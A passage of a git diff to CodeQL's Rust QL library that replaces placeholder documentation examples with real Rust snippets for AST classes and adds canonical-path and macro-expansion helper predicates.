```rust - * todo!() + * struct S { x: i32 } + * // ^^^^^^^ * ``` */ final class StructField = Impl::StructField; diff --git a/rust/ql/lib/codeql/rust/elements/StructFieldList.qll b/rust/ql/lib/codeql/rust/elements/StructFieldList.qll index 6eee3bd61a89..0d059ee55c73 100644 --- a/rust/ql/lib/codeql/rust/elements/StructFieldList.qll +++ b/rust/ql/lib/codeql/rust/elements/StructFieldList.qll @@ -8,9 +8,12 @@ import codeql.rust.elements.FieldList import codeql.rust.elements.StructField /** - * A field list of a struct expression. For example: + * A list of fields in a struct declaration. + * + * For example: * ```rust - * todo!() + * struct S { x: i32, y: i32 } + * // ^^^^^^^^^^^^^^^ * ``` */ final class StructFieldList = Impl::StructFieldList; diff --git a/rust/ql/lib/codeql/rust/elements/StructPatFieldList.qll b/rust/ql/lib/codeql/rust/elements/StructPatFieldList.qll index 3ed30ea769bb..a031e720a59c 100644 --- a/rust/ql/lib/codeql/rust/elements/StructPatFieldList.qll +++ b/rust/ql/lib/codeql/rust/elements/StructPatFieldList.qll @@ -9,9 +9,12 @@ import codeql.rust.elements.RestPat import codeql.rust.elements.StructPatField /** - * A StructPatFieldList. For example: + * A list of fields in a struct pattern. + * + * For example: * ```rust - * todo!() + * let Foo { a, b } = foo; + * // ^^^^^ * ``` */ final class StructPatFieldList = Impl::StructPatFieldList; diff --git a/rust/ql/lib/codeql/rust/elements/TokenTree.qll b/rust/ql/lib/codeql/rust/elements/TokenTree.qll index 1461db3dc0f6..19c3901eda05 100644 --- a/rust/ql/lib/codeql/rust/elements/TokenTree.qll +++ b/rust/ql/lib/codeql/rust/elements/TokenTree.qll @@ -7,9 +7,16 @@ private import internal.TokenTreeImpl import codeql.rust.elements.AstNode /** - * A TokenTree. For example: + * A token tree in a macro definition or invocation. + * + * For example: * ```rust - * todo!() + * println!("{} {}!", "Hello", "world"); + * // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + * ``` + * ```rust + * macro_rules! foo { ($x:expr) => { $x + 1 }; } + * // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ * ``` */ final class TokenTree = Impl::TokenTree; diff --git a/rust/ql/lib/codeql/rust/elements/TraitAlias.qll b/rust/ql/lib/codeql/rust/elements/TraitAlias.qll index 21d89531ed56..956fa76ab212 100644 --- a/rust/ql/lib/codeql/rust/elements/TraitAlias.qll +++ b/rust/ql/lib/codeql/rust/elements/TraitAlias.qll @@ -13,9 +13,11 @@ import codeql.rust.elements.Visibility import codeql.rust.elements.WhereClause /** - * A TraitAlias. For example: + * A trait alias. + * + * For example: * ```rust - * todo!() + * trait Foo = Bar + Baz; * ``` */ final class TraitAlias = Impl::TraitAlias; diff --git a/rust/ql/lib/codeql/rust/elements/TryExpr.qll b/rust/ql/lib/codeql/rust/elements/TryExpr.qll index 9617f5c54638..683b302528f6 100644 --- a/rust/ql/lib/codeql/rust/elements/TryExpr.qll +++ b/rust/ql/lib/codeql/rust/elements/TryExpr.qll @@ -8,9 +8,12 @@ import codeql.rust.elements.Attr import codeql.rust.elements.Expr /** - * A TryExpr. For example: + * A try expression using the `?` operator. + * + * For example: * ```rust - * todo!() + * let x = foo()?; + * // ^ * ``` */ final class TryExpr = Impl::TryExpr; diff --git a/rust/ql/lib/codeql/rust/elements/TupleField.qll b/rust/ql/lib/codeql/rust/elements/TupleField.qll index 10e22fd21ae2..9dcfaa4fb333 100644 --- a/rust/ql/lib/codeql/rust/elements/TupleField.qll +++ b/rust/ql/lib/codeql/rust/elements/TupleField.qll @@ -10,9 +10,12 @@ import codeql.rust.elements.TypeRepr import codeql.rust.elements.Visibility /** - * A TupleField. For example: + * A field in a tuple struct or tuple enum variant. + * + * For example: * ```rust - * todo!() + * struct S(i32, String); + * // ^^^ ^^^^^^ * ``` */ final class TupleField = Impl::TupleField; diff --git a/rust/ql/lib/codeql/rust/elements/TupleFieldList.qll b/rust/ql/lib/codeql/rust/elements/TupleFieldList.qll index 68294d7df7aa..0c464944993c 100644 --- a/rust/ql/lib/codeql/rust/elements/TupleFieldList.qll +++ b/rust/ql/lib/codeql/rust/elements/TupleFieldList.qll @@ -8,9 +8,12 @@ import codeql.rust.elements.FieldList import codeql.rust.elements.TupleField /** - * A TupleFieldList. For example: + * A list of fields in a tuple struct or tuple enum variant. + * + * For example: * ```rust - * todo!() + * struct S(i32, String); + * // ^^^^^^^^^^^^^ * ``` */ final class TupleFieldList = Impl::TupleFieldList; diff --git a/rust/ql/lib/codeql/rust/elements/TupleTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/TupleTypeRepr.qll index 66e0645cd1b4..c2a856750fad 100644 --- a/rust/ql/lib/codeql/rust/elements/TupleTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/TupleTypeRepr.qll @@ -7,9 +7,12 @@ private import internal.TupleTypeReprImpl import codeql.rust.elements.TypeRepr /** - * A TupleTypeRepr. For example: + * A tuple type. + * + * For example: * ```rust - * todo!() + * let t: (i32, String); + * // ^^^^^^^^^^^^^ * ``` */ final class TupleTypeRepr = Impl::TupleTypeRepr; diff --git a/rust/ql/lib/codeql/rust/elements/TypeArg.qll b/rust/ql/lib/codeql/rust/elements/TypeArg.qll index 42fa984506a6..c17e7e75c69d 100644 --- a/rust/ql/lib/codeql/rust/elements/TypeArg.qll +++ b/rust/ql/lib/codeql/rust/elements/TypeArg.qll @@ -8,9 +8,12 @@ import codeql.rust.elements.GenericArg import codeql.rust.elements.TypeRepr /** - * A TypeArg. For example: + * A type argument in a generic argument list. + * + * For example: * ```rust - * todo!() + * Foo:: + * // ^^^ * ``` */ final class TypeArg = Impl::TypeArg; diff --git a/rust/ql/lib/codeql/rust/elements/TypeBound.qll b/rust/ql/lib/codeql/rust/elements/TypeBound.qll index 52f9483afed2..c49d8e5be063 100644 --- a/rust/ql/lib/codeql/rust/elements/TypeBound.qll +++ b/rust/ql/lib/codeql/rust/elements/TypeBound.qll @@ -10,9 +10,12 @@ import codeql.rust.elements.TypeRepr import codeql.rust.elements.UseBoundGenericArgs /** - * A TypeBound. For example: + * A type bound in a trait or generic parameter. + * + * For example: * ```rust - * todo!() + * fn foo(t: T) {} + * // ^^^^^ * ``` */ final class TypeBound = Impl::TypeBound; diff --git a/rust/ql/lib/codeql/rust/elements/TypeBoundList.qll b/rust/ql/lib/codeql/rust/elements/TypeBoundList.qll index 6f2107b9ddff..1bdf2cc1f732 100644 --- a/rust/ql/lib/codeql/rust/elements/TypeBoundList.qll +++ b/rust/ql/lib/codeql/rust/elements/TypeBoundList.qll @@ -8,9 +8,12 @@ import codeql.rust.elements.AstNode import codeql.rust.elements.TypeBound /** - * A TypeBoundList. For example: + * A list of type bounds. + * + * For example: * ```rust - * todo!() + * fn foo(t: T) {} + * // ^^^^^^^^^^^^^ * ``` */ final class TypeBoundList = Impl::TypeBoundList; diff --git a/rust/ql/lib/codeql/rust/elements/TypeParam.qll b/rust/ql/lib/codeql/rust/elements/TypeParam.qll index bf01aaf6f1f2..126892685cd4 100644 --- a/rust/ql/lib/codeql/rust/elements/TypeParam.qll +++ b/rust/ql/lib/codeql/rust/elements/TypeParam.qll @@ -11,9 +11,12 @@ import codeql.rust.elements.TypeBoundList import codeql.rust.elements.TypeRepr /** - * A TypeParam. For example: + * A type parameter in a generic parameter list. + * + * For example: * ```rust - * todo!() + * fn foo(t: T) {} + * // ^ * ``` */ final class TypeParam = Impl::TypeParam; diff --git a/rust/ql/lib/codeql/rust/elements/Union.qll b/rust/ql/lib/codeql/rust/elements/Union.qll index a9edce9d2fed..fac11390b1bf 100644 --- a/rust/ql/lib/codeql/rust/elements/Union.qll +++ b/rust/ql/lib/codeql/rust/elements/Union.qll @@ -14,9 +14,11 @@ import codeql.rust.elements.Visibility import codeql.rust.elements.WhereClause /** - * A Union. For example: + * A union declaration. + * + * For example: * ```rust - * todo!() + * union U { f1: u32, f2: f32 } * ``` */ final class Union = Impl::Union; diff --git a/rust/ql/lib/codeql/rust/elements/Use.qll b/rust/ql/lib/codeql/rust/elements/Use.qll index 7485018a975a..4d5f9bd3948f 100644 --- a/rust/ql/lib/codeql/rust/elements/Use.qll +++ b/rust/ql/lib/codeql/rust/elements/Use.qll @@ -10,9 +10,9 @@ import codeql.rust.elements.UseTree import codeql.rust.elements.Visibility /** - * A Use. For example: + * A `use` statement. For example: * ```rust - * todo!() + * use std::collections::HashMap; * ``` */ final class Use = Impl::Use; diff --git a/rust/ql/lib/codeql/rust/elements/UseBoundGenericArgs.qll b/rust/ql/lib/codeql/rust/elements/UseBoundGenericArgs.qll index 2e0fe43db24b..f3784ffdab25 100644 --- a/rust/ql/lib/codeql/rust/elements/UseBoundGenericArgs.qll +++ b/rust/ql/lib/codeql/rust/elements/UseBoundGenericArgs.qll @@ -7,4 +7,13 @@ private import internal.UseBoundGenericArgsImpl import codeql.rust.elements.AstNode import codeql.rust.elements.UseBoundGenericArg +/** + * A use<..> bound to control which generic parameters are captured by an impl Trait return type. + * + * For example: + * ```rust + * pub fn hello<'a, T, const N: usize>() -> impl Sized + use<'a, T, N> {} + * // ^^^^^^^^ + * ``` + */ final class UseBoundGenericArgs = Impl::UseBoundGenericArgs; diff --git a/rust/ql/lib/codeql/rust/elements/UseTree.qll b/rust/ql/lib/codeql/rust/elements/UseTree.qll index ce3f8be16d12..fe483cb0d05f 100644 --- a/rust/ql/lib/codeql/rust/elements/UseTree.qll +++ b/rust/ql/lib/codeql/rust/elements/UseTree.qll @@ -10,7 +10,7 @@ import codeql.rust.elements.Rename import codeql.rust.elements.UseTreeList /** - * A UseTree. For example: + * A `use` tree, that is, the part after the `use` keyword in a `use` statement. For example: * ```rust * use std::collections::HashMap; * use std::collections::*; diff --git a/rust/ql/lib/codeql/rust/elements/UseTreeList.qll b/rust/ql/lib/codeql/rust/elements/UseTreeList.qll index 92202501028a..dc44daf39146 100644 --- a/rust/ql/lib/codeql/rust/elements/UseTreeList.qll +++ b/rust/ql/lib/codeql/rust/elements/UseTreeList.qll @@ -8,9 +8,12 @@ import codeql.rust.elements.AstNode import codeql.rust.elements.UseTree /** - * A UseTreeList. For example: + * A list of use trees in a use declaration. + * + * For example: * ```rust - * todo!() + * use std::{fs, io}; + * // ^^^^^^^^ * ``` */ final class UseTreeList = Impl::UseTreeList; diff --git a/rust/ql/lib/codeql/rust/elements/Variant.qll b/rust/ql/lib/codeql/rust/elements/Variant.qll index ab9d391f44ac..5afa140923b5 100644 --- a/rust/ql/lib/codeql/rust/elements/Variant.qll +++ b/rust/ql/lib/codeql/rust/elements/Variant.qll @@ -13,9 +13,12 @@ import codeql.rust.elements.VariantDef import codeql.rust.elements.Visibility /** - * A Variant. For example: + * A variant in an enum declaration. + * + * For example: * ```rust - * todo!() + * enum E { A, B(i32), C { x: i32 } } + * // ^ ^^^^^^ ^^^^^^^^^^^^ * ``` */ final class Variant = Impl::Variant; diff --git a/rust/ql/lib/codeql/rust/elements/VariantList.qll b/rust/ql/lib/codeql/rust/elements/VariantList.qll index e0cf435c4682..672ce6f91ac2 100644 --- a/rust/ql/lib/codeql/rust/elements/VariantList.qll +++ b/rust/ql/lib/codeql/rust/elements/VariantList.qll @@ -8,9 +8,12 @@ import codeql.rust.elements.AstNode import codeql.rust.elements.Variant /** - * A VariantList. For example: + * A list of variants in an enum declaration. + * + * For example: * ```rust - * todo!() + * enum E { A, B, C } + * // ^^^^^^^^^^^ * ``` */ final class VariantList = Impl::VariantList; diff --git a/rust/ql/lib/codeql/rust/elements/Visibility.qll b/rust/ql/lib/codeql/rust/elements/Visibility.qll index 58db9b66fe27..9fd60b6ba27c 100644 --- a/rust/ql/lib/codeql/rust/elements/Visibility.qll +++ b/rust/ql/lib/codeql/rust/elements/Visibility.qll @@ -8,9 +8,12 @@ import codeql.rust.elements.AstNode import codeql.rust.elements.Path /** - * A Visibility. For example: + * A visibility modifier. + * + * For example: * ```rust - * todo!() + * pub struct S; + * //^^^ * ``` */ final class Visibility = Impl::Visibility; diff --git a/rust/ql/lib/codeql/rust/elements/WhereClause.qll b/rust/ql/lib/codeql/rust/elements/WhereClause.qll index 2f52bd3955f1..80e3867be315 100644 --- a/rust/ql/lib/codeql/rust/elements/WhereClause.qll +++ b/rust/ql/lib/codeql/rust/elements/WhereClause.qll @@ -8,9 +8,12 @@ import codeql.rust.elements.AstNode import codeql.rust.elements.WherePred /** - * A WhereClause. For example: + * A where clause in a generic declaration. + * + * For example: * ```rust - * todo!() + * fn foo(t: T) where T: Debug {} + * // ^^^^^^^^^^^^^^ * ``` */ final class WhereClause = Impl::WhereClause; diff --git a/rust/ql/lib/codeql/rust/elements/WherePred.qll b/rust/ql/lib/codeql/rust/elements/WherePred.qll index 3f0bb8c5fe7e..16e1e586570e 100644 --- a/rust/ql/lib/codeql/rust/elements/WherePred.qll +++ b/rust/ql/lib/codeql/rust/elements/WherePred.qll @@ -11,9 +11,12 @@ import codeql.rust.elements.TypeBoundList import codeql.rust.elements.TypeRepr /** - * A WherePred. For example: + * A predicate in a where clause. + * + * For example: * ```rust - * todo!() + * fn foo(t: T, u: U) where T: Debug, U: Clone {} + * // ^^^^^^^^ ^^^^^^^^ * ``` */ final class WherePred = Impl::WherePred; diff --git a/rust/ql/lib/codeql/rust/elements/WhileExpr.qll b/rust/ql/lib/codeql/rust/elements/WhileExpr.qll index fc704d35095a..2103d983e70f 100644 --- a/rust/ql/lib/codeql/rust/elements/WhileExpr.qll +++ b/rust/ql/lib/codeql/rust/elements/WhileExpr.qll @@ -9,9 +9,13 @@ import codeql.rust.elements.Expr import codeql.rust.elements.LoopingExpr /** - * A WhileExpr. For example: + * A while loop expression. + * + * For example: * ```rust - * todo!() + * while x < 10 { + * x += 1; + * } * ``` */ final class WhileExpr = Impl::WhileExpr; diff --git a/rust/ql/lib/codeql/rust/elements/internal/AbiImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AbiImpl.qll index c0af077785f6..2534d71e610c 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AbiImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AbiImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.Abi */ module Impl { /** - * A Abi. For example: + * An ABI specification for an extern function or block. + * + * For example: * ```rust - * todo!() + * extern "C" fn foo() {} + * // ^^^ * ``` */ class Abi extends Generated::Abi { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/AddressableImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AddressableImpl.qll index b3fe47b294a2..cea40b66aeea 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AddressableImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AddressableImpl.qll @@ -1,4 +1,3 @@ -// generated by codegen, remove this comment if you wish to edit this file /** * This module provides a hand-modifiable wrapper around the generated class `Addressable`. * @@ -12,10 +11,43 @@ private import codeql.rust.elements.internal.generated.Addressable * be referenced directly. */ module Impl { + private import rust + private import codeql.rust.internal.PathResolution + + // the following QLdoc is generated: if you need to edit it, do it in the schema file /** * Something that can be addressed by a path. * * TODO: This does not yet include all possible cases. */ - class Addressable extends Generated::Addressable { } + class Addressable extends Generated::Addressable { + /** + * Gets the canonical path of this item, if any. + * + * The crate `c` is the root of the path. + * + * See [The Rust Reference][1] for more details. + * + * [1]: https://doc.rust-lang.org/reference/paths.html#canonical-paths + */ + string getCanonicalPath(Crate c) { result = this.(ItemNode).getCanonicalPath(c) } + + /** + * Gets the canonical path of this item, if any. + * + * See [The Rust Reference][1] for more details. + * + * [1]: https://doc.rust-lang.org/reference/paths.html#canonical-paths + */ + string getCanonicalPath() { result = this.getCanonicalPath(_) } + + /** + * Holds if this item has a canonical path. + * + * See [The Rust Reference][1] for more details. + * + * [1]: https://doc.rust-lang.org/reference/paths.html#canonical-paths + */ + predicate hasCanonicalPath() { exists(this.getCanonicalPath()) } + } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/ArgListImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ArgListImpl.qll index af47a245980d..f5fd9a066a78 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ArgListImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ArgListImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.ArgList */ module Impl { /** - * A ArgList. For example: + * A list of arguments in a function or method call. + * + * For example: * ```rust - * todo!() + * foo(1, 2, 3); + * // ^^^^^^^^^ * ``` */ class ArgList extends Generated::ArgList { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/ArrayTypeReprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ArrayTypeReprImpl.qll index f7cf66626a0f..cb72de9b87eb 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ArrayTypeReprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ArrayTypeReprImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.ArrayTypeRepr */ module Impl { /** - * A ArrayTypeRepr. For example: + * An array type representation. + * + * For example: * ```rust - * todo!() + * let arr: [i32; 4]; + * // ^^^^^^^^ * ``` */ class ArrayTypeRepr extends Generated::ArrayTypeRepr { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/AsmClobberAbiImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AsmClobberAbiImpl.qll index 155676828e82..aa8a49e0fa24 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AsmClobberAbiImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AsmClobberAbiImpl.qll @@ -12,5 +12,15 @@ private import codeql.rust.elements.internal.generated.AsmClobberAbi * be referenced directly. */ module Impl { + /** + * A clobbered ABI in an inline assembly block. + * + * For example: + * ```rust + * use core::arch::asm; + * asm!("", clobber_abi("C")); + * // ^^^^^^^^^^^^^^^^ + * ``` + */ class AsmClobberAbi extends Generated::AsmClobberAbi { } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/AsmConstImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AsmConstImpl.qll index 95d11f936d73..2c66fc52a3fc 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AsmConstImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AsmConstImpl.qll @@ -12,5 +12,15 @@ private import codeql.rust.elements.internal.generated.AsmConst * be referenced directly. */ module Impl { + /** + * A constant operand in an inline assembly block. + * + * For example: + * ```rust + * use core::arch::asm; + * asm!("mov eax, {const}", const 42); + * // ^^^^^^^ + * ``` + */ class AsmConst extends Generated::AsmConst { } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/AsmDirSpecImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AsmDirSpecImpl.qll index 10b04b298d4d..d9c284eca28c 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AsmDirSpecImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AsmDirSpecImpl.qll @@ -12,5 +12,15 @@ private import codeql.rust.elements.internal.generated.AsmDirSpec * be referenced directly. */ module Impl { + /** + * An inline assembly direction specifier. + * + * For example: + * ```rust + * use core::arch::asm; + * asm!("mov {input:x}, {input:x}", output = out(reg) x, input = in(reg) y); + * // ^^^ ^^ + * ``` + */ class AsmDirSpec extends Generated::AsmDirSpec { } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/AsmExprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AsmExprImpl.qll index 24160ec3386d..338f4772a53e 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AsmExprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AsmExprImpl.qll @@ -16,7 +16,8 @@ module Impl { * An inline assembly expression. For example: * ```rust * unsafe { - * builtin # asm(_); + * #[inline(always)] + * builtin # asm("cmp {0}, {1}", in(reg) a, in(reg) b); * } * ``` */ diff --git a/rust/ql/lib/codeql/rust/elements/internal/AsmLabelImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AsmLabelImpl.qll index 6f393f9ed481..ee89b6cb27d5 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AsmLabelImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AsmLabelImpl.qll @@ -12,5 +12,18 @@ private import codeql.rust.elements.internal.generated.AsmLabel * be referenced directly. */ module Impl { + /** + * A label in an inline assembly block. + * + * For example: + * ```rust + * use core::arch::asm; + * asm!( + * "jmp {}", + * label { println!("Jumped from asm!"); } + * // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + * ); + * ``` + */ class AsmLabel extends Generated::AsmLabel { } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/AsmOperandExprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AsmOperandExprImpl.qll index ebf9a7ae2ed2..ee0db41767aa 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AsmOperandExprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AsmOperandExprImpl.qll @@ -12,5 +12,15 @@ private import codeql.rust.elements.internal.generated.AsmOperandExpr * be referenced directly. */ module Impl { + /** + * An operand expression in an inline assembly block. + * + * For example: + * ```rust + * use core::arch::asm; + * asm!("mov {0}, {1}", out(reg) x, in(reg) y); + * // ^ ^ + * ``` + */ class AsmOperandExpr extends Generated::AsmOperandExpr { } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/AsmOperandNamedImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AsmOperandNamedImpl.qll index c9903d908047..dd45bcc05a9a 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AsmOperandNamedImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AsmOperandNamedImpl.qll @@ -12,5 +12,15 @@ private import codeql.rust.elements.internal.generated.AsmOperandNamed * be referenced directly. */ module Impl { + /** + * A named operand in an inline assembly block. + * + * For example: + * ```rust + * use core::arch::asm; + * asm!("mov {0:x}, {input:x}", out(reg) x, input = in(reg) y); + * // ^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^ + * ``` + */ class AsmOperandNamed extends Generated::AsmOperandNamed { } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/AsmOptionImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AsmOptionImpl.qll index 4f0ea60c798b..60d56d225810 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AsmOptionImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AsmOptionImpl.qll @@ -12,5 +12,15 @@ private import codeql.rust.elements.internal.generated.AsmOption * be referenced directly. */ module Impl { + /** + * An option in an inline assembly block. + * + * For example: + * ```rust + * use core::arch::asm; + * asm!("", options(nostack, nomem)); + * // ^^^^^^^^^^^^^^^^ + * ``` + */ class AsmOption extends Generated::AsmOption { } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/AsmOptionsListImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AsmOptionsListImpl.qll index 112ead5d0b28..ca8e80f82ecc 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AsmOptionsListImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AsmOptionsListImpl.qll @@ -12,5 +12,15 @@ private import codeql.rust.elements.internal.generated.AsmOptionsList * be referenced directly. */ module Impl { + /** + * A list of options in an inline assembly block. + * + * For example: + * ```rust + * use core::arch::asm; + * asm!("", options(nostack, nomem)); + * // ^^^^^^^^^^^^^^^^ + * ``` + */ class AsmOptionsList extends Generated::AsmOptionsList { } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/AsmRegOperandImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AsmRegOperandImpl.qll index 2641e12598c5..d3d6b24c15a3 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AsmRegOperandImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AsmRegOperandImpl.qll @@ -12,5 +12,15 @@ private import codeql.rust.elements.internal.generated.AsmRegOperand * be referenced directly. */ module Impl { + /** + * A register operand in an inline assembly block. + * + * For example: + * ```rust + * use core::arch::asm; + * asm!("mov {0}, {1}", out(reg) x, in(reg) y); + * // ^ ^ + * ``` + */ class AsmRegOperand extends Generated::AsmRegOperand { } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/AsmRegSpecImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AsmRegSpecImpl.qll index 83b269eead64..24798bae93c8 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AsmRegSpecImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AsmRegSpecImpl.qll @@ -12,5 +12,15 @@ private import codeql.rust.elements.internal.generated.AsmRegSpec * be referenced directly. */ module Impl { + /** + * A register specification in an inline assembly block. + * + * For example: + * ```rust + * use core::arch::asm; + * asm!("mov {0}, {1}", out("eax") x, in(EBX) y); + * // ^^^ ^^^ + * ``` + */ class AsmRegSpec extends Generated::AsmRegSpec { } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/AsmSymImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AsmSymImpl.qll index 9b26627dae9b..ad118f38d1c5 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AsmSymImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AsmSymImpl.qll @@ -12,5 +12,15 @@ private import codeql.rust.elements.internal.generated.AsmSym * be referenced directly. */ module Impl { + /** + * A symbol operand in an inline assembly block. + * + * For example: + * ```rust + * use core::arch::asm; + * asm!("call {sym}", sym = sym my_function); + * // ^^^^^^^^^^^^^^^^^^^^^^ + * ``` + */ class AsmSym extends Generated::AsmSym { } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/AssocItemImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AssocItemImpl.qll index d4c871249b43..68e2945d377e 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AssocItemImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AssocItemImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.AssocItem */ module Impl { /** - * A AssocItem. For example: + * An associated item in a `Trait` or `Impl`. + * + * For example: * ```rust - * todo!() + * trait T {fn foo(&self);} + * // ^^^^^^^^^^^^^ * ``` */ class AssocItem extends Generated::AssocItem { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/AssocItemListImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AssocItemListImpl.qll index 9cefb4cd2dd3..f68c9e5fbe3f 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AssocItemListImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AssocItemListImpl.qll @@ -13,7 +13,7 @@ private import codeql.rust.elements.internal.generated.AssocItemList */ module Impl { /** - * A list of `AssocItem` elements, as appearing for example in a `Trait`. + * A list of `AssocItem` elements, as appearing in a `Trait` or `Impl`. */ class AssocItemList extends Generated::AssocItemList { } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/AssocTypeArgImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AssocTypeArgImpl.qll index 075188ac0bdb..fab477d4c3f6 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AssocTypeArgImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AssocTypeArgImpl.qll @@ -13,9 +13,17 @@ private import codeql.rust.elements.internal.generated.AssocTypeArg */ module Impl { /** - * A AssocTypeArg. For example: + * An associated type argument in a path. + * + * For example: * ```rust - * todo!() + * fn process_cloneable(iter: T) + * where + * T: Iterator + * // ^^^^^^^^^^^ + * { + * // ... + * } * ``` */ class AssocTypeArg extends Generated::AssocTypeArg { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/AstNodeImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AstNodeImpl.qll index dea172a72669..b80da6d7084f 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AstNodeImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AstNodeImpl.qll @@ -15,6 +15,7 @@ module Impl { private import rust private import codeql.rust.elements.internal.generated.ParentChild private import codeql.rust.controlflow.ControlFlowGraph + private import codeql.rust.elements.internal.MacroCallImpl::Impl as MacroCallImpl /** * Gets the immediate parent of a non-`AstNode` element `e`. @@ -59,10 +60,20 @@ module Impl { } /** Holds if this node is inside a macro expansion. */ - predicate isInMacroExpansion() { - this = any(MacroCall mc).getExpanded() - or - this.getParentNode().isInMacroExpansion() + predicate isInMacroExpansion() { MacroCallImpl::isInMacroExpansion(_, this) } + + /** + * Holds if this node exists only as the result of a macro expansion. + * + * This is the same as `isInMacroExpansion()`, but excludes AST nodes corresponding + * to macro arguments. + */ + pragma[nomagic] + predicate isFromMacroExpansion() { + exists(MacroCall mc | + MacroCallImpl::isInMacroExpansion(mc, this) and + not this = mc.getATokenTreeNode() + ) } /** diff --git a/rust/ql/lib/codeql/rust/elements/internal/AttrImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AttrImpl.qll index afdac06f558d..e01d3c3652e4 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AttrImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AttrImpl.qll @@ -13,9 +13,13 @@ private import codeql.rust.elements.internal.generated.Attr */ module Impl { /** - * A Attr. For example: + * An attribute applied to an item. + * + * For example: * ```rust - * todo!() + * #[derive(Debug)] + * //^^^^^^^^^^^^^ + * struct S; * ``` */ class Attr extends Generated::Attr { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/BinaryExprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/BinaryExprImpl.qll index 966d64936377..dccc0bc10fbb 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/BinaryExprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/BinaryExprImpl.qll @@ -28,6 +28,10 @@ module Impl { override string getOperatorName() { result = 